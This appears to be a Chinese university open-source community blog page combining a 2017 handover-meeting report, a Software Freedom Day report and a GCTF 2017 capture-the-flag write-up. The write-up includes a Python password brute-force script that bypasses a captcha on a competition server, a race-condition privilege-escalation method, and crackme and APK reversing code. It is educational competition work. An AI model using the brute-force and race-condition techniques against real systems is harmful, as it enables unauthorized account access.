2017 兰大开源社区换届会议

2017 年 6 月 23 日晚 20:30,开源社区的成员们于榆中校区网络中心二楼召开了本年度的换届会议。

首先,2015 级的周孟莹同学对目前社区的人员组织、发展现状、本学年举办的各类活动以及所取得的成绩进行了总结,同时对社区未来的发展做了展望。

接下来,2016 级的各位准负责人分别对社区未来的发展表达了自己的看法,并将未来一年内的规划做了报告说明。经过社区成员们的投票决定,推举 2016 级的刘志林、喻东徽、贾弘柏同学作为开源社区 2017 届的新负责人。

新一届社区负责人与往届负责人合影留念

GCTF 2017 WriteUp

关于战队

C4M31 意为骆驼,是由兰州大学开源社区的信息安全爱好者们组成的一支 CTF 战队,目前仅有 5 名成员。如果你具有一定信息安全技术基础,或者是一名网络安全爱好者,想在大学期间和一群志同道合的人一起参加各种安全竞赛,欢迎通过社区的联系方式加入我们~

Web

0x00 热身题

打开链接后出现提示:

渗透测试大法:第一招,扫端口;第二招,… 。

扫了下端口发现开了 SSH,找 Exploit 利用未果…于是用工具扫了下后台,发现存在 robots.txt,flag 就在 /rob0t.php 路径下。

 

 

 

 

 

 

0x01 变态验证码怎么破

是一个登陆表单,有个 16 位的变态验证码:

 

 

 

 

页面代码的注释里提供了用户名和字典:

 

 

应该需要暴破,起初用 Google 的 Tesseract OCR 识别了一下,发现识别率实在太低了,看来是路子不对。后来试了下发现只要在请求头中去掉 PHPSESSID,同时保留表单的各个参数并提交,则会直接提示 username or password error。可以开始了,写了个脚本:

import re
import time
import requests

url_post = 'http://218.2.197.232:18003/index.php'
payload = {
    'user': 'ADMIN',
    'password': '',
    'vcode': '',
    'button': '%E6%8F%90%E4%BA%A4'
}
error = re.compile(r'username or password error')

def brute(key):
    payload['password'] = key
    result = requests.post(url_post, data=payload)
    if re.match(error, result.content):
        print 'wrong...'
        return False
    else:
        print 'correct!!!'
        return True

def main():
    with open('password.txt', 'r') as wordlist:
        keys = wordlist.readlines()
        i = 1
        for key in keys:
            key = key.strip()
            print '{}:ADMIN:{}'.format(i, key)
            if brute(key):
                print 'succeed!!!'
                print 'key: {}'.format(key)
                return
            i += 1

if __name__ == '__main__':
    main()

用得到的密码登陆即可拿到 flag

0x02 条件竞争

关于竞争条件:

竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。 ——Wikipedia-computer_science

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,然而他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

 

 

 

可以在此重置账户密码,不过登陆后提示无权限。此处提供了源码查看,后台关键代码如下:

$user="";
// 初次访问生成用户
if(!isset($_SESSION["name"])){
    $user=substr(md5(uniqid().uniqid()),8,16);
    $_SESSION["name"]=$user;
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($user));
    $stmt->execute();
    $stmt->close();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
}else{
    $user=$_SESSION["name"];
}
//重置时清理用户信息
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET['method']==="reset" && isset($_POST['password']) ){
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`user` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("DELETE FROM gctf09.`priv` where name=?");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`user` (name,pass) VALUES (?,?)");
    $stmt->bind_param("ss",$user,md5($_POST['password']));
    $stmt->execute();
    $stmt->close();
    //判断用户权限时会查询priv表,如果为不为TRUE则是管理员权限
    $stmt = $mysqli->prepare("INSERT INTO gctf09.`priv` (name,notadmin) VALUES (?,TRUE)");
    $stmt->bind_param("s",$user);
    $stmt->execute();
    $stmt->close();
    $mysqli->close();
    die("修改成功");
}

重置用户信息的逻辑有问题,竞争条件漏洞的利用受网速等多方面因素影响,需要不断地尝试,这里直接使用 BurpSuite 的 Intruder 模块,开了 50 个线程分别同时用来进行重置和登陆:

 

 

 

 

 

一共会出现 3 种结果,分别是无权限、用户名或密码错误和 flag:

 

 

 

 

 

 

Reverse

0x03 debug.exe

运行效果:

 

 

 

静态查看:Linux 用 file 命令做了一下基础识别

$ file debug.exe
debug.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

发现是 .NET 应用程序,网上搜索 .NET 反编译工具,发现 Github 上面有一款 dnSpy 的工具,打开 exe,右键跳转到入口处,我们发现代码如下:

 

 

 

 

运行效果和代码对比,显然逻辑是用户输入为 a,然后把 a 和 b 进行比较,此时我们在 85 行设置一个断点,打开调试,使用变量监视即可查看到 b 变量的内容,即 flag

 

 

 

0x04 Hackme

是一个 Linux 64 位下的可执行程序,初次运行效果如下:

 

 

我们拖到 IDA 里面,查看程序的 Imports,发现并没有引入任何外部库,发现这是一个经过静态链接的库,通过 radare2 程序或者 IDA 分析导出的 start 函数均可以分析到程序的入口处为:0x400f8e

$ r2 hackeme
> aaa
> s main
> [0x400f8e]
> pdf

我们发现在 main 函数里面调用了三个不同的函数,按调用顺序分别是:

fcn.00407470
fcn.004075a0
fcn.00406d90
fcn.00407470
fcn.00407470

通过代码上下文以及运行测试,我们可以至少测定两个函数:

fcn.00407470 == printf
fcn.004075a0 == scanf

暂时使得 fcn.00406d90 == unknown()

而通过分析可知,unknown 内部实现使用了大量原子操作指令,不太可能是用户自行编写的,而应该是静态库的内容

通过 IDA 的静态 F5 反汇编和重命名功能,我们很容易分析得到如下的代码:

int cipher[22] = "x5fxf2x5ex8bx4ex0exa3xaaxc7x93x81x3dx5fx74xa3x09x91x2bx49x28x93x67";

int main()
{
    int len;
    int user_password[128];
    int res;
    
    printf("Give me the password:");
    scanf("%s",user_password);
    for (len = 0; user_password[len] != 0; len++)
        ;
    res = (len == 22);
    i = 10;
    for (i = 10; i != 0; i--) {
        index = unknown() % 22;
        key = 0;
        c = cipher[index];
        p = user_password[index];
        po = index + 1;
            
        for (int j = 0; j < po; j++)
            key = 0x6d0178d * key + 12345;
        if (c != (key ^ p )) 
            res = 0;
    }
    if (res) {
        printf("Congras!n");   
    } else {
        printf("Wrong!n");
    }
}

注意:cipher 的内容可以通过 radar2 的 x 指令打印出来

[0x00400f8e]> s 0x6b4270
[0x006b4270]> x
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x006b4270  5ff2 5e8b 4e0e a3aa c793 813d 5f74 a309  _.^.N......=_t..
0x006b4280  912b 4928 9367 0000 0008 0000 0000 0000  .+I(.g..........

结合代码中的 mod 22 和后面 0 截断可知,cipher 为 22 位(剩下两位可能是编译器对齐),再结合 %22 的操作,我们猜测很可能目标函数为 rand(),rand() 为伪随机函数,如果没有初始化种子,每次产生相同的序列。

于是写了如下程序和 gdb 设置断点抓取 unknown 返回结果来调试进行比较验证:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    for (int i = 0; i <= 100; i++)
        printf("%d ", rand() % 22);
}

在 gdb 中,设置断点和对应的断点 hook,查看 unknown() % 22 的值,断点处此值赋值给 eax,打印进行对比

(gdb) b *0x0040102e
Breakpoint 1 at 0x40102e

(gdb) commands 1
>print $eax
>end

发现运行结果和 gdb 的结果一致,于是 unknown 对应函数为 rand(),根据异或加密性质写出对应的解密程序如下:

#include <stdio.h>
#include <stdlib.h>

char cipher[24] = "x5fxf2x5ex8bx4ex0exa3xaaxc7x93x81x3dx5fx74xa3x09x91x2bx49x28x93x67";

int main()
{
    int len;
    char user_password[22]="??????????????????????";
    int res;
    int key;
    
    int i = 100;  // int i = 22;
    do {
        int index = rand() % 22;
        key = 0;
        int c = cipher[index];
        
        int j = 0;
        while (j < index + 1) {
            ++j;
            key = 1828812941 * key + 12345;
        }
        int p = key^c;
        user_password[index] = p;   
        --i;
    
    
    for (int i = 0; i < 22; i++)
        printf("%c", user_password[i]);
    printf("n");
    } while (i);
}

起初根据逻辑设置 i 为22,未得到正确 flag,于是把 i 设成 100,并打印出每一轮的值,最终得到结果:

flag{d826e6926098ef46}

Misc

0x05 stage1

下载题目得到一个图片:

 

 

 

 

丢到 Stegsolve 里,能找到一张二维码:

 

 

 

 

把二维码保存下来,无法直接扫出内容,需要用画图或 PS 反白处理一下,扫出结果如下:

03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

这是一个文件的 HEX 值,转化为对应的 ASCII 码值,得到一个 Python 字节码文件:

 

 

 

 

再反编译得到 Python 源文件,flag 就显而易见了

 

 

 

 

0x06 reverseMe

查看文件类型:

$ file reverseme 
reverseme: data

于是用 Hex 编辑器查看(wxHexEdit):

 

 

 

 

在文件末尾发现一些有意思的东东:如 Exif 和 Adobe Photoshop CS6 的反序,查了一下 JPEG 文件头(FFD8),刚刚好也是最后两位的反序,于是写了这样一个程序反序上述文件:

import sys

f = open(argv[1],'rb')
nf = open('new.jpg','wb+')
buff = f.readall()
nf.write(buff[::-1])
nf.close()
f.close()

得到这样一个图片,结果已经很明显了,可以在镜子里看、用 GIMP 或者 Photoshop 水平翻转一下即可得到 flag

 

 

Mobile

0x06 APK逆向

下载附件得到一个 APK,改个短的文件名拖入 AndroidKiller 自动分析,其中 smali 为 Java 字节码文件:

 

 

 

 

 

在 crackme 中搜索 flag 字符串,在 MainActivity.smali 中发现了有趣的东西:

 

 

 

 

 

一建还原 Java 代码,APP 中的输入作为 paramString2 传入了 checkSN() 函数,另外的 paramString1 为一个硬编码的字符串“Tenshine”。

private boolean checkSN(String paramString1, String paramString2)
{
    ...
    if ((paramString2 != null) && (paramString2.length() == 22))
    {
        Object localObject = MessageDigest.getInstance("MD5");
        ((MessageDigest)localObject).reset();
        ((MessageDigest)localObject).update(paramString1.getBytes());
        paramString1 = toHexString(((MessageDigest)localObject).digest(), "");
        localObject = new StringBuilder();
        int i = 0;
        while (i < paramString1.length())
        {
            ((StringBuilder)localObject).append(paramString1.charAt(i));
            i += 2;
        }
        paramString1 = ((StringBuilder)localObject).toString();
        boolean bool = ("flag{" + paramString1 + "}").equalsIgnoreCase(paramString2);
        if (bool) {
            return true;
        }
    }
    ...
    return false;
}

将其中关键部分复制到 eclipse 中运行即可得到 flag:

2016软件自由日兰州大学站

9月17日,第十三届软件自由日庆祝活动于视野广场举行,本次活动由兰州大学开源社区举办。软件自由日(Software Freedom Day,简称SFD)是一个关于自由软件和开源软件的全球性庆祝活动。定于每年9月的第三个星期六举行,其目的是向公众推广和宣传自由/开源软件精神。

上午8点,社区成员们来到视野广场,摆好桌椅拉起条幅,并放置了火狐、青云、一铭等公司赞助的各种小礼品,将活动现场布置好。

sfd_01

活动现场提供了多台笔记本电脑供同学们体验感受Linux系统,其中包括Ubuntu、openSUSE、Arch和FreeBSD等发行版。同时举行有奖答题小游戏,题目涉及开源、自由软件等多个方面。答题程序由杨壬同学编写,共计25道题,按照回答者所得分数赠予不同的奖品。游戏吸引了许多路过的同学,大家纷纷前来参与,其中最高得分记录为92分。

sfd_02

同时,社区成员向同学们宣传了开源文化,普及了一些有关开源/自由软件的小知识,提供了一些常用软件的开源替代版本。

本次活动于下午4点结束,最后社区成员们一起拍摄了合照。

sfd_03